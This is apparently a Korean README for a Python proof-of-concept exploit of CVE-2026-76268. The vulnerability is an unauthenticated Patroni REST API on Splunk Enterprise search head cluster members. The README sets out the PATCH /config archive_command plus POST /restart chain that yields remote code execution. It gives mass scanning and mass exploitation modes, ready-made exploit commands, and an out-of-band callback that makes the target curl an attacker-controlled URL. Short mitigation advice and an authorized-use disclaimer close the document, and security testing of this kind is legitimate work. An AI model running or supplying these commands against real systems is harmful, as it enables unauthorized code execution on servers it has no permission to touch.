
CVE-2026-76268에 대한 Python PoC: Splunk SHC 구성원에서 인증되지 않은 Patroni REST API를 탐지하고 archive_command 주입을 통해 이를 악용하여 RCE를 달성합니다.
**CVE-2026-76268**에 대한 Python 3 PoC — search head cluster(SHC) 멤버의 Splunk Enterprise 대상. 권고문 SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| 권고문 | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| 구성 요소 | PostgreSQL 사이드카(Storage) → Patroni REST API |
| 영향 받는 버전 | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| 수정 버전 | 10.2.7, 10.4.3 (및 이후 버전) |
| 영향 없음 (이 CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — 중요 기능에 대한 인증 누락 |
| CVSS 3.1 | 9.8 Critical |
| 검증 마커 | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
취약한 Splunk Enterprise SHC 멤버에서 Patroni REST API(Splunk 10.x에 도입된 PostgreSQL 사이드카의 일부)가 인증 없이 상태 변경 요청을 수락합니다. Patroni 리스너에 네트워크 접근이 가능한 공격자는 동적 클러스터 구성을 변경하고 **archive_command**와 같은 PostgreSQL 매개변수를 통해 운영체제 명령 실행을 트리거할 수 있습니다(Patroni PATCH /config + POST /restart 체인).
이 PoC는 Patroni와 직접 통신합니다(일반적으로 TCP 8008, 또는 Splunk의 IPC Broker가 할당한 포트). Splunk Web(8000)이나 Splunk 관리 포트(8089)는 사용하지 않습니다. 이는 다른 공격 표면입니다(예: splunkd 프록시를 통한 과거 사이드카 이슈).
실제 영향에 대한 전제 조건:
[postgres] 사이드카가 활성화되어 있어야 합니다(disabled = true로 설정하면 Patroni가 제거됨).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| 모드 | 목적 |
|---|---|
check (기본값) | 일반적인 포트에서 Patroni를 탐지하고, 인증 없는 PATCH /config를 테스트 |
exploit | Patroni RCE 체인(archive_command + 재시작) 실행 |
| Mass | -j 스레드와 함께 --list FILE 사용; JSONL 및 선택적 hit/exploit 목록 작성 |
반드시 -t TARGET 또는 --list FILE 중 하나를 전달해야 합니다.
-t / --list의 각 줄)| 형식 | 예시 |
|---|---|
| 호스트만 (기본 포트 스캔) | 192.168.1.50 |
| 호스트 + 포트 | 192.168.1.50:8008 |
| 전체 URL | http://10.0.0.5:8008 |
목록 파일의 주석: #으로 시작하는 줄은 무시됩니다.
Patroni를 탐지하고 인증 없는 구성 변경이 허용되는 것으로 보이는지 평가합니다.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
PoC가 수행하는 작업:
--ports의 각 포트(기본값 8008,8009,8010,18008)에서 GET /patroni(또는 /)를 시도합니다.PATCH /config**를 전송합니다.exploitable_candidate: true**로 표시합니다.유용한 플래그:
| 플래그 | 의미 |
|---|---|
--ports | 스캔할 Patroni 포트(쉼표로 구분) |
--port | 스캔을 건너뛰고 하나의 포트만 사용 |
--timeout | HTTP 타임아웃(초, 기본값 20) |
--proxy | 요청에 사용할 HTTP(S) 프록시 |
--output | JSONL 로그(기본값 cve_2026_76268_results.jsonl) |
--vuln-list | 탭으로 구분된 후보 목록(기본값 hits.txt) |
--quiet | 콘솔 출력 최소화 |
--no-color | 일반 터미널 출력 |
종료 코드: exploitable_candidate가 true이면 0, 그렇지 않으면 1.
권장 워크플로: 대량 검사 → hits.txt 검토 → 승인된 호스트에만 대량 익스플로잇 실행.
--mode exploit)Patroni 구성 주입 체인을 실행합니다. 대상의 라이브 사이드카/PostgreSQL 동적 구성을 변경합니다.
--port가 설정된 경우 제외).PATCH /config가 401/403을 반환하면 중단합니다.PATCH /config — wal_level=replica, archive_mode=always, archive_timeout=1 및 사용자의 **archive_command**를 설정합니다.POST /restart — 대기 중인 PostgreSQL 구성을 적용합니다.--wait-archive초(기본값 3); archive_command는 WAL 아카이브 주기에 따라 실행됩니다(즉시 실행되지 않음).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
출력:
--output — 전체 JSONL (대량 익스플로잇은 기본 이름을 유지한 경우 cve_2026_76268_exploit.jsonl로 기본 설정됨).--exploited-list — exploited: true인 행 (기본값 exploited.txt).| 플래그 | 의미 |
|---|---|
--oob URL | 기본 URL; 명령은 curl/wget을 실행하여 URL/POCBIT-76268-OK로 요청 |
--command | 전체 PostgreSQL archive_command 문자열 (OOB 기본값 재정의) |
--wait-archive | PoC 종료 전 재시작 후 대기할 초 |
--ports / --port | 포트 탐색 또는 고정 Patroni 포트 |
--tls | Patroni에 https:// 사용 (기본 Splunk 사이드카 문서에서는 흔치 않음) |
--oob와 --command가 모두 설정되지 않았을 때의 기본 명령:
touch /tmp/POCBIT-76268-OK
종료 코드: PATCH와 재시작이 수락되면 0 (exploited: true). 이는 체인이 전달되었음을 의미하며, 콜백이나 파일 증명이 이미 발동되었음을 의미하지는 않습니다. 호스트에서 OOB 또는 파일 시스템 검사로 확인하십시오.
중요: 동일한 매개변수가 로컬 구성에 잠겨 있으면(벤더 강화) Patroni가 동적 변경을 무시할 수 있습니다. 이 경우 오래된 Splunk 빌드에서도 익스플로잇이 실패할 수 있습니다.
-t 실행)stdout에 출력됨 (pretty JSON). 대량 모드는 한 줄에 하나의 JSON 객체를 기록합니다.
| 필드 | 의미 |
|---|---|
mode | check 또는 exploit |
host / target | 정규화된 입력 |
patroni_base | 예: http://192.168.1.50:8008 |
patroni_port | Patroni가 응답한 포트 |
patroni_role | GET /patroni에서 가져옴 (예: primary) |
unauth_patch | 검사: 인증 없이 PATCH 허용됨 |
exploitable_candidate | 검사: 취약할 가능성이 있는 표면 |
exploited | 익스플로잇: PATCH + 재시작 성공 |
patch / restart | HTTP 상태 및 본문 미리보기 |
verify | 힌트: OOB 경로 또는 /tmp/POCBIT-76268-OK |
error | 실패 사유 (auth_required_patched_or_hardened, no_patroni_on_ports, …) |
pocbit, pocbit_page, verify_marker | PoCbit 메타데이터 |
| 결과 | 의미 |
|---|---|
patroni_unauth_patch_confirmed | 강한 검사 적중 — 인증 없는 PATCH 수락됨 |
patroni_auth_required | Patroni가 인증을 요구함 (아마도 패치됨 또는 강화됨) |
no_patroni_on_ports | 스캔한 포트에서 Patroni JSON 없음 (잘못된 호스트, 방화벽 차단, 또는 SHC 사이드카 아님) |
exploit_chain_ok | 익스플로잇 HTTP 체인 완료됨 |
auth_required_patched_or_hardened | 주입 전에 익스플로잇 중단됨 |
Splunk가 아닌 호스트도 8008에서 Patroni를 실행할 수 있습니다 — 보고하기 전에 항상 Splunk 버전 및 배포 역할과 상호 연관시키십시오.
Splunk 문서 예시 (server.conf):
[ipc_broker]
postgres:patroni:address = 8008
설정하지 않으면 IPC Broker가 임의의 포트를 선택할 수 있습니다. 서버(관리자 액세스)에서:
$SPLUNK_HOME/bin/splunk btool server list ipc_broker --debug
SHC 방화벽 문서에는 멤버 간에 열려 있어야 하는 스토리지 사이드카 포트 중 8008이 나열되어 있습니다.
10.4.3+ 또는 **10.2.7+**로 업그레이드하십시오.
Edge Processor, OpAmp 또는 SPL2 파이프라인을 사용하지 않는 경우:
# $SPLUNK_HOME/etc/system/local/server.conf
[postgres]
disabled = true
Splunk를 재시작합니다.
Patroni(및 etcd 2379/2380)를 SHC 피어 IP로만 제한합니다.
port="8008"
**GET /patroni**가 Patroni JSON(role, state, patroni.version)을 반환하는지 확인하여 검증합니다. Splunk UI 버전만으로는 충분하지 않습니다.
승인된 보안 테스트 및 패치 검증 용도로만 사용하십시오. 익스플로잇 모드는 데이터베이스 사이드카 구성을 수정하므로, 소유한 시스템 또는 테스트에 대한 명시적 권한이 있는 시스템에서만 사용하십시오.
CVE-2026-76268 PoC: Splunk Enterprise SHC Patroni REST unauth RCE — PATCH /config archive_command + POST /restart. Check + mass exploit, OOB POCBIT-76268-OK, CVSS 9.8. https://pocbit.org/pocs/cve-2026-76268